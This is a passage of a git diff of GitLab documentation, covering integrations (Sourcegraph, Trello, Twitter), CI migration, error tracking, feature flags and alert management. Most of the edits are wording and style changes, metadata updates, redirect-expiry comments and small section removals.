-NOTE: **Note:**
+NOTE:
This feature requires user opt-in. After Sourcegraph has been enabled for your GitLab instance,
you can choose to enable Sourcegraph [through your user preferences](#enable-sourcegraph-in-user-preferences).
@@ -32,7 +32,7 @@ Before you can enable Sourcegraph code intelligence in GitLab you will need to:
### Enable the Sourcegraph feature flag
-NOTE: **Note:**
+NOTE:
If you are running a self-managed instance, the Sourcegraph integration will not be available
unless the feature flag `sourcegraph` is enabled. This can be done from the Rails console
by instance administrators.
@@ -64,6 +64,8 @@ Feature.enable(:sourcegraph, Project.find_by_full_path('my_group/my_project'))
If you are new to Sourcegraph, head over to the [Sourcegraph installation documentation](https://docs.sourcegraph.com/admin) and get your instance up and running.
+If you are using an HTTPS connection to GitLab, you will need to [configure HTTPS](https://docs.sourcegraph.com/admin/http_https_configuration) for your Sourcegraph instance.
+
### Connect your Sourcegraph instance to your GitLab instance
1. Navigate to the site admin area in Sourcegraph.
diff --git a/doc/integration/trello_power_up.md b/doc/integration/trello_power_up.md
index 22481e14236..d30308cea7a 100644
--- a/doc/integration/trello_power_up.md
+++ b/doc/integration/trello_power_up.md
@@ -1,19 +1,19 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Trello Power-Up
-GitLab's Trello Power-Up enables you to seamlessly attach
+The GitLab Trello Power-Up enables you to seamlessly attach
GitLab **merge requests** to Trello cards.
![GitLab Trello PowerUp - Trello card](img/trello_card_with_gitlab_powerup.png)
## Configuring the Power-Up
-In order to get started, you will need to configure your Power-Up.
+In order to get started, you must configure your Power-Up.
In Trello:
@@ -23,19 +23,19 @@ In Trello:
1. Select the `Settings` (gear) icon
1. In the popup menu, select `Authorize Account`
-In this popup, fill in your `API URL` and `Personal Access Token`. After that, you will be able to attach any merge request to any Trello card on your selected Trello board.
+In this popup, fill in your `API URL` and `Personal Access Token`. After that, you can attach any merge request to any Trello card on your selected Trello board.
## What is my API URL?
Your API URL should be your GitLab instance URL with `/api/v4` appended in the end of the URL.
For example, if your GitLab instance URL is `https://gitlab.com`, your API URL would be `https://gitlab.com/api/v4`.
-If your instance's URL is `https://example.com`, your API URL will be `https://example.com/api/v4`.
+If your instance's URL is `https://example.com`, your API URL is `https://example.com/api/v4`.
![configure GitLab Trello PowerUp in Trello](img/enable_trello_powerup.png)
## What is my Personal Access Token?
-Your GitLab's personal access token will enable your GitLab account to be accessed
+Your GitLab personal access token enables your GitLab account to be accessed
from Trello.
> Find it in GitLab by clicking on your avatar (upright corner), from which you access
diff --git a/doc/integration/twitter.md b/doc/integration/twitter.md
index bfe18c43e9d..8404352d0e9 100644
--- a/doc/integration/twitter.md
+++ b/doc/integration/twitter.md
@@ -1,12 +1,12 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Twitter OAuth2 OmniAuth Provider
-To enable the Twitter OmniAuth provider you must register your application with Twitter. Twitter will generate a client ID and secret key for you to use.
+To enable the Twitter OmniAuth provider you must register your application with Twitter. Twitter generates a client ID and secret key for you to use.
1. Sign in to [Twitter Application Management](https://developer.twitter.com/apps).
@@ -85,4 +85,4 @@ To enable the Twitter OmniAuth provider you must register your application with
1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect if you
installed GitLab via Omnibus or from source respectively.
-On the sign in page there should now be a Twitter icon below the regular sign in form. Click the icon to begin the authentication process. Twitter will ask the user to sign in and authorize the GitLab application. If everything goes well the user will be returned to GitLab and will be signed in.
+On the sign in page there should now be a Twitter icon below the regular sign in form. Click the icon to begin the authentication process. Twitter asks the user to sign in and authorize the GitLab application. If everything goes well the user is returned to GitLab and signed in.
diff --git a/doc/integration/vault.md b/doc/integration/vault.md
index ea63f16c72b..7f81fd3a7da 100644
--- a/doc/integration/vault.md
+++ b/doc/integration/vault.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
diff --git a/doc/intro/README.md b/doc/intro/README.md
index 02429f387ee..5df4efe5307 100644
--- a/doc/intro/README.md
+++ b/doc/intro/README.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
comments: false
---
diff --git a/doc/legal/README.md b/doc/legal/README.md
index 4b3bcac190c..371ea53046c 100644
--- a/doc/legal/README.md
+++ b/doc/legal/README.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/legal/corporate_contributor_license_agreement.md b/doc/legal/corporate_contributor_license_agreement.md
index 2496c866906..19f86ae41bc 100644
--- a/doc/legal/corporate_contributor_license_agreement.md
+++ b/doc/legal/corporate_contributor_license_agreement.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Corporate contributor license agreement
diff --git a/doc/legal/individual_contributor_license_agreement.md b/doc/legal/individual_contributor_license_agreement.md
index 8e6683d0dc6..573f535fd84 100644
--- a/doc/legal/individual_contributor_license_agreement.md
+++ b/doc/legal/individual_contributor_license_agreement.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Individual contributor license agreement
diff --git a/doc/license/README.md b/doc/license/README.md
index fd110a39b61..f0ff27c315e 100644
--- a/doc/license/README.md
+++ b/doc/license/README.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/license.md'
---
This document was moved to [another location](../user/admin_area/license.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/markdown/markdown.md b/doc/markdown/markdown.md
index 29cb6ac9164..e68f9c217d5 100644
--- a/doc/markdown/markdown.md
+++ b/doc/markdown/markdown.md
@@ -3,3 +3,6 @@ redirect_to: '../user/markdown.md'
---
This document was moved to [another location](../user/markdown.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/migrate_ci_to_ce/README.md b/doc/migrate_ci_to_ce/README.md
index 17f9db10767..16d3604cfa4 100644
--- a/doc/migrate_ci_to_ce/README.md
+++ b/doc/migrate_ci_to_ce/README.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -11,7 +11,7 @@ Beginning with version 8.0 of GitLab Community Edition (CE) and Enterprise
Edition (EE), GitLab CI is no longer its own application, but is instead built
into the CE and EE applications.
-This guide will detail the process of migrating your CI installation and data
+This guide details the process of migrating your CI installation and data
into your GitLab CE or EE installation. **You can only migrate CI data from
GitLab CI 8.0 to GitLab 8.0; migrating between other versions (e.g.7.14 to 8.1)
is not possible.**
@@ -28,9 +28,9 @@ The migration consists of three parts: updating GitLab and GitLab CI, moving
data, and redirecting traffic.
Please note that CI builds triggered on your GitLab server in the time between
-updating to 8.0 and finishing the migration will be lost. Your GitLab server
+updating to 8.0 and finishing the migration are lost. Your GitLab server
can be online for most of the procedure; the only GitLab downtime (if any) is
-during the upgrade to 8.0. Your CI service will be offline from the moment you
+during the upgrade to 8.0. Your CI service remains offline from the moment you
upgrade to 8.0 until you finish the migration procedure.
## Before upgrading
@@ -47,8 +47,8 @@ If you want to migrate your existing data, continue reading.
### 0. Updating Omnibus from versions prior to 7.13
-If you are updating from older versions you should first update to 7.14 and then to 8.0.
-Otherwise it's pretty likely that you will encounter problems described in the [Troubleshooting](#troubleshooting).
+If you are updating from older versions you should first update to 7.14 and then to 8.0
+to avoid the problems described in the [Troubleshooting](#troubleshooting) section.
### 1. Verify that backups work
@@ -80,7 +80,7 @@ sudo -u git -H bundle exec rake gitlab:backup:create RAILS_ENV=production SKIP=r
If this fails you need to fix it before upgrading to 8.0. Also see
<https://about.gitlab.com/get-help/>
-NOTE: **Note:**
+NOTE:
For GitLab 12.1 and earlier, use `gitlab-rake gitlab:backup:create`.
### 2. Check source and target database types
@@ -123,7 +123,7 @@ store build traces on the same storage as your Git repositories.
## I. Upgrading
-From this point on, GitLab CI will be unavailable for your end users.
+From this point on, GitLab CI is unavailable for your end users.
### 1. Upgrade GitLab to 8.0
@@ -169,10 +169,10 @@ sudo -u gitlab_ci -H bundle exec whenever --clear-crontab RAILS_ENV=production
### 1. Database encryption key
Move the database encryption key from your CI server to your GitLab
- server. The command below will show you what you need to copy-paste to your
-GitLab server. On Omnibus GitLab servers you will have to add a line to
-`/etc/gitlab/gitlab.rb`. On GitLab servers installed from source you will have
-to replace the contents of `/home/git/gitlab/config/secrets.yml`.
+ server. The command below shows you what you need to copy-paste to your
+GitLab server. On Omnibus GitLab servers you must add a line to
+`/etc/gitlab/gitlab.rb`. On GitLab servers installed from source you must
+replace the contents of `/home/git/gitlab/config/secrets.yml`.
```shell
# On your CI server:
@@ -188,8 +188,8 @@ sudo -u gitlab_ci -H bundle exec rake backup:show_secrets RAILS_ENV=production
Create your final CI data export. If you are converting from MySQL to
PostgreSQL, add `MYSQL_TO_POSTGRESQL=1` to the end of the Rake command. When
-the command finishes it will print the path to your data export archive; you
-will need this file later.
+the command finishes it prints the path to your data export archive; you
+need this file later.
```shell
# On your CI server:
@@ -208,7 +208,7 @@ If you were running GitLab and GitLab CI on the same server you can skip this
step.
Copy your CI data archive to your GitLab server. There are many ways to do
-this, below we use SSH agent forwarding and `scp`, which will be easy and fast
+this, below we use SSH agent forwarding and `scp`, which is easy and fast
for most setups. You can also copy the data archive first from the CI server to
your laptop and then from your laptop to the GitLab server.
@@ -235,7 +235,7 @@ sudo mv /path/to/12345_gitlab_ci_backup.tar /home/git/gitlab/tmp/backups/
### 5. Import the CI data into GitLab
-This step will delete any existing CI data on your GitLab server. There should
+This step deletes any existing CI data on your GitLab server. There should
be no CI data yet because you turned CI on the GitLab server off earlier.
```shell
@@ -274,8 +274,8 @@ so that existing links to your CI server keep working.
### 1. Update NGINX configuration
To ensure that your existing CI runners are able to communicate with the
-migrated installation, and that existing build triggers still work, you'll need
-to update your NGINX configuration to redirect requests for the old locations to
+migrated installation, and that existing build triggers still work, you must
+update your NGINX configuration to redirect requests for the old locations to
the new ones.
Edit `/etc/nginx/sites-available/gitlab_ci` and paste:
@@ -324,8 +324,8 @@ properly forward the requests.**
You should also make sure that you can:
-1. `curl https://YOUR_GITLAB_SERVER_FQDN/` from your previous GitLab CI server.
-1. `curl https://YOUR_CI_SERVER_FQDN/` from your GitLab CE (or EE) server.
+1. `curl "https://YOUR_GITLAB_SERVER_FQDN/"` from your previous GitLab CI server.
+1. `curl "https://YOUR_CI_SERVER_FQDN/"` from your GitLab CE (or EE) server.
### 2. Check NGINX configuration
diff --git a/doc/monitoring/health_check.md b/doc/monitoring/health_check.md
index b611fa388b4..d607ea03d5a 100644
--- a/doc/monitoring/health_check.md
+++ b/doc/monitoring/health_check.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/monitoring/health_check.md'
---
This document was moved to [user/admin_area/monitoring/health_check](../user/admin_area/monitoring/health_check.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/monitoring/performance/gitlab_configuration.md b/doc/monitoring/performance/gitlab_configuration.md
index 233a12ebd6f..6a6f297f674 100644
--- a/doc/monitoring/performance/gitlab_configuration.md
+++ b/doc/monitoring/performance/gitlab_configuration.md
@@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/gitlab_configuration.m
---
This document was moved to [administration/monitoring/performance/gitlab_configuration](../../administration/monitoring/performance/gitlab_configuration.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/monitoring/performance/grafana_configuration.md b/doc/monitoring/performance/grafana_configuration.md
index f4e3561a19f..98dfe51ae04 100644
--- a/doc/monitoring/performance/grafana_configuration.md
+++ b/doc/monitoring/performance/grafana_configuration.md
@@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/grafana_configuration.
---
This document was moved to [administration/monitoring/performance/grafana_configuration](../../administration/monitoring/performance/grafana_configuration.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/monitoring/performance/introduction.md b/doc/monitoring/performance/introduction.md
index e23eabd5f40..71ecd24c743 100644
--- a/doc/monitoring/performance/introduction.md
+++ b/doc/monitoring/performance/introduction.md
@@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/index.md'
---
This document was moved to [administration/monitoring/performance/introduction](../../administration/monitoring/performance/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/cleaning_up_redis_sessions.md b/doc/operations/cleaning_up_redis_sessions.md
index bde7fffd090..96f72099f8f 100644
--- a/doc/operations/cleaning_up_redis_sessions.md
+++ b/doc/operations/cleaning_up_redis_sessions.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/operations/cleaning_up_redis_sessions.md'
---
This document was moved to [another location](../administration/operations/cleaning_up_redis_sessions.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md
index fad2c0e39be..6fa67c375c9 100644
--- a/doc/operations/error_tracking.md
+++ b/doc/operations/error_tracking.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Error Tracking
@@ -20,7 +20,7 @@ You can sign up to the cloud hosted [Sentry](https://sentry.io), deploy your own
### Enabling Sentry
-GitLab provides an easy way to connect Sentry to your project. You will need at
+GitLab provides an easy way to connect Sentry to your project. You need at
least Maintainer [permissions](../user/permissions.md) to enable the Sentry integration.
1. Sign up to Sentry.io or [deploy your own](#deploying-sentry) Sentry instance.
@@ -31,7 +31,7 @@ least Maintainer [permissions](../user/permissions.md) to enable the Sentry inte
click **Enable Error Tracking**.
1. Navigate to your project’s **Settings > Operations**. In the **Error Tracking** section,
ensure the **Active** checkbox is set.
-1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname will be `https://sentry.io`.
+1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname is `https://sentry.io`.
1. In the **Auth Token** field, enter the token you previously generated.
1. Click the **Connect** button to test the connection to Sentry and populate the **Project** dropdown.
1. From the **Project** dropdown, choose a Sentry project to link to your GitLab project.
@@ -65,7 +65,7 @@ By default, a **Create issue** button is displayed:
![Error Details without Issue Link](img/error_details_v12_7.png)
-If you create a GitLab issue from the error, the **Create issue** button will change to a **View issue** button and a link to the GitLab issue will surface within the error detail section:
+If you create a GitLab issue from the error, the **Create issue** button changes to a **View issue** button and a link to the GitLab issue displays within the error detail section:
![Error Details with Issue Link](img/error_details_with_issue_v12_8.png)
@@ -79,7 +79,7 @@ You can take action on Sentry Errors from within the GitLab UI.
From within the [Error Details](#error-details) page you can ignore a Sentry error by simply clicking the **Ignore** button near the top of the page.
-Ignoring an error will prevent it from appearing in the [Error Tracking List](#error-tracking-list), and will silence notifications that were set up within Sentry.
+Ignoring an error prevents it from appearing in the [Error Tracking List](#error-tracking-list), and silences notifications that were set up within Sentry.
### Resolving errors
@@ -88,6 +88,6 @@ Ignoring an error will prevent it from appearing in the [Error Tracking List](#e
From within the [Error Details](#error-details) page you can resolve a Sentry error by
clicking the **Resolve** button near the top of the page.
-Marking an error as resolved indicates that the error has stopped firing events. If a GitLab issue is linked to the error, then the issue will be closed.
+Marking an error as resolved indicates that the error has stopped firing events. If a GitLab issue is linked to the error, then the issue closes.
If another event occurs, the error reverts to unresolved.
diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md
index cac243edded..e22a45fc18c 100644
--- a/doc/operations/feature_flags.md
+++ b/doc/operations/feature_flags.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Feature Flags **(CORE)**
@@ -18,7 +18,7 @@ delivery from customer launch.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an example of feature flags in action, see [GitLab for Deploys, Feature Flags, and Error Tracking](https://www.youtube.com/embed/5tw2p6lwXxo).
-NOTE: **Note:**
+NOTE:
The Feature Flags GitLab offer as a feature (described in this document) is not the same method
used for the [development of GitLab](../development/feature_flags/index.md).
@@ -77,7 +77,6 @@ is 200. On GitLab.com, the maximum number is determined by [GitLab.com tier](htt
> - It became [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/214684) in GitLab 13.2.
> - It's recommended for production use.
> - It's enabled on GitLab.com.
-> - For GitLab self-managed instances, a GitLab administrator can choose to [disable it](#enable-or-disable-feature-flag-strategies). **(CORE ONLY)**
You can apply a feature flag strategy across multiple environments, without defining
the strategy multiple times.
@@ -130,7 +129,7 @@ The rollout percentage can be from 0% to 100%.
Selecting a consistency based on User IDs functions the same as the [percent of Users](#percent-of-users) rollout.
-CAUTION: **Caution:**
+WARNING:
Selecting **Random** provides inconsistent application behavior for individual users.
### Percent of Users
@@ -148,7 +147,7 @@ but not anonymous users.
Note that [percent rollout](#percent-rollout) with a consistency based on **User IDs** has the same
behavior. We recommend using percent rollout because it's more flexible than percent of users
-CAUTION: **Caution:**
+WARNING:
If the percent of users strategy is selected, then the Unleash client **must** be given a user
ID for the feature to be enabled. See the [Ruby example](#ruby-application-example) below.
@@ -165,7 +164,7 @@ Enter user IDs as a comma-separated list of values (for example,
`user@example.com, user2@example.com`, or `username1,username2,username3`, and so on). Note that
user IDs are identifiers for your application users. They do not need to be GitLab users.
-CAUTION: **Caution:**
+WARNING:
The Unleash client **must** be given a user ID for the feature to be enabled for
target users. See the [Ruby example](#ruby-application-example) below.
@@ -222,25 +221,6 @@ To remove users from a user list:
1. Click on the **{pencil}** (edit) button next to the list you want to change.
1. Click on the **{remove}** (remove) button next to the ID you want to remove.
-### Enable or disable feature flag strategies
-
-This feature is under development, but is ready for production use. It's
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
-can disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:feature_flags_new_version)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:feature_flags_new_version)
-```
-
## Rollout strategy (legacy)
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8240) in GitLab 12.2.
diff --git a/doc/operations/incident_management/alert_details.md b/doc/operations/incident_management/alert_details.md
index 459331ea0a5..cd73e9e7e1f 100644
--- a/doc/operations/incident_management/alert_details.md
+++ b/doc/operations/incident_management/alert_details.md
@@ -3,3 +3,6 @@ redirect_to: alerts.md
---
This document was moved to [another location](alerts.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/incident_management/alert_integrations.md b/doc/operations/incident_management/alert_integrations.md
index 7850841d380..70c4e7f2f29 100644
--- a/doc/operations/incident_management/alert_integrations.md
+++ b/doc/operations/incident_management/alert_integrations.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Alert integrations
@@ -27,12 +27,12 @@ The list displays the integration name, type, and status (enabled or disabled):
## Configuration
-GitLab can receive alerts via a [HTTP endpoint](#generic-http-endpoint) that you configure,
+GitLab can receive alerts via a HTTP endpoint that you configure,
or the [Prometheus integration](#external-prometheus-integration).
-### Generic HTTP Endpoint **CORE**
+### Single HTTP Endpoint **CORE**
-Enabling the Generic HTTP Endpoint activates a unique HTTP endpoint that can
+Enabling the HTTP Endpoint in a GitLab projects activates it to
receive alert payloads in JSON format. You can always
[customize the payload](#customize-the-alert-payload-outside-of-gitlab) to your liking.
@@ -60,10 +60,10 @@ and you can [customize the payload](#customize-the-alert-payload-outside-of-gitl
1. In the **Integration** dropdown menu, select **HTTP Endpoint**.
1. Name the integration.
1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key**
- for the webhook configuration. You will input the URL and Authorization Key
+ for the webhook configuration. You must also input the URL and Authorization Key
in your external service.
1. _(Optional)_ To generate a test alert to test the new integration, enter a
- sample payload, then click **Save and test alert payload**.Valid JSON is required.
+ sample payload, then click **Save and test alert payload**. Valid JSON is required.
1. Click **Save Integration**.
The new HTTP Endpoint displays in the [integrations list](#integrations-list).
@@ -102,7 +102,7 @@ can be a nested JSON object. For example:
{ "foo": { "bar": { "baz": 42 } } }
```
-TIP: **Tip:**
+NOTE:
Ensure your requests are smaller than the
[payload application limits](../../administration/instance_limits.md#generic-alert-json-payloads).
@@ -170,18 +170,18 @@ If the existing alert is already `resolved`, GitLab creates a new alert instead.
## Link to your Opsgenie Alerts
-DANGER: **Deprecated:**
+WARNING:
We are building deeper integration with Opsgenie and other alerting tools through
-[HTTP endpoint integrations](#generic-http-endpoint) so you can see alerts within
+[HTTP endpoint integrations](#single-http-endpoint) so you can see alerts within
the GitLab interface. As a result, the previous direct link to Opsgenie Alerts from
-the GitLab alerts list will be deprecated following the 13.7 release on December 22, 2020.
+the GitLab alerts list is scheduled for deprecation following the 13.7 release on December 22, 2020.
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
You can monitor alerts using a GitLab integration with [Opsgenie](https://www.atlassian.com/software/opsgenie).
If you enable the Opsgenie integration, you can't have other GitLab alert
-services, such as [Generic Alerts](generic_alerts.md) or Prometheus alerts,
+services
active at the same time.
To enable Opsgenie integration:
diff --git a/doc/operations/incident_management/alert_notifications.md b/doc/operations/incident_management/alert_notifications.md
index 130c4e82088..eaf606105d6 100644
--- a/doc/operations/incident_management/alert_notifications.md
+++ b/doc/operations/incident_management/alert_notifications.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Paging and notifications
diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md
index 37836f4ab50..a8852a02f2b 100644
--- a/doc/operations/incident_management/alerts.md
+++ b/doc/operations/incident_management/alerts.md
@@ -1,12 +1,12 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Alerts
-Alerts are a critical entity in your incident managment workflow. They represent a notable event that might indicate a service outage or disruption. GitLab provides a list view for triage and detail view for deeper investigation of what happened.
+Alerts are a critical entity in your incident management workflow. They represent a notable event that might indicate a service outage or disruption. GitLab provides a list view for triage and detail view for deeper investigation of what happened.
## Alert List
@@ -37,7 +37,7 @@ The alert list displays the following information:
- **Acknowledged**: Someone is actively investigating the problem.
- **Resolved**: No further work is required.
-TIP: **Tip:**
+NOTE:
Check out a live example available from the
[`tanuki-inc` project page](https://gitlab-examples-ops-incident-setup-everyone-tanuki-inc.34.69.64.147.nip.io/)
in GitLab to examine alerts in action.
@@ -67,7 +67,7 @@ Navigate to the Alert details view by visiting the [Alert list](alerts.md)
and selecting an alert from the list. You need least Developer [permissions](../../user/permissions.md)
to access alerts.
-TIP: **Tip:**
+NOTE:
To review live examples of GitLab alerts, visit the
[alert list](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/alert_management)
for this demo project. Select any alert in the list to examine its alert details
@@ -78,13 +78,13 @@ amount of information you need.
### Alert details tab
-The **Alert details** tab has two sections. The top section provides a short list of critical details such as the severity, start time, number of events, and originating monitorting tool. The second section displays the full alert payload.
+The **Alert details** tab has two sections. The top section provides a short list of critical details such as the severity, start time, number of events, and originating monitoring tool. The second section displays the full alert payload.
### Metrics tab
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.2.
-The **Metrics** tab will display a metrics chart for alerts coming from Prometheus. If the alert originated from any other tool, the **Metrics** tab will be empty. To set up alerts for GitLab-managed Prometheus instances, see [Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances). For externally-managed Prometheus instances, you will need to configure your alerting
+The **Metrics** tab displays a metrics chart for alerts coming from Prometheus. If the alert originated from any other tool, the **Metrics** tab is empty. To set up alerts for GitLab-managed Prometheus instances, see [Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances). For externally-managed Prometheus instances, you must configure your alerting
rules to display a chart in the alert. For information about how to configure
your alerting rules, see [Embedding metrics based on alerts in incident issues](../metrics/embed.md#embedding-metrics-based-on-alerts-in-incident-issues). See
[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances)
@@ -127,7 +127,7 @@ To view the logs for an alert:
The **Activity feed** tab is a log of activity on the alert. When you take action on an alert, this is logged as a system note. This gives you a linear
timeline of the alert's investigation and assignment history.
-The following actions will result in a system note:
+The following actions result in a system note:
- [Updating the status of an alert](#update-an-alerts-status)
- [Creating an incident based on an alert](#create-an-incident-from-an-alert)
@@ -137,7 +137,7 @@ The following actions will result in a system note:
## Alert actions
-There are different actions avilable in GitLab to help triage and respond to alerts.
+There are different actions available in GitLab to help triage and respond to alerts.
### Update an alert's status
@@ -222,7 +222,7 @@ the correct runbook:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232492) in GitLab 13.5 behind a feature flag, disabled by default.
> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/232492) in GitLab 13.6.
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
The environment information and the link are displayed in the [Alert Details tab](#alert-details-tab).
diff --git a/doc/operations/incident_management/generic_alerts.md b/doc/operations/incident_management/generic_alerts.md
index 29d609f1811..44b1f4b088a 100644
--- a/doc/operations/incident_management/generic_alerts.md
+++ b/doc/operations/incident_management/generic_alerts.md
@@ -3,3 +3,6 @@ redirect_to: alert_integrations.md
---
This document was moved to [another location](alert_integrations.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/incident_management/img/incident_management_settings_v13_3.png b/doc/operations/incident_management/img/incident_management_settings_v13_3.png
deleted file mode 100644
index c9520860414..00000000000
--- a/doc/operations/incident_management/img/incident_management_settings_v13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md
index 13a755bbb6f..074cacd2e30 100644
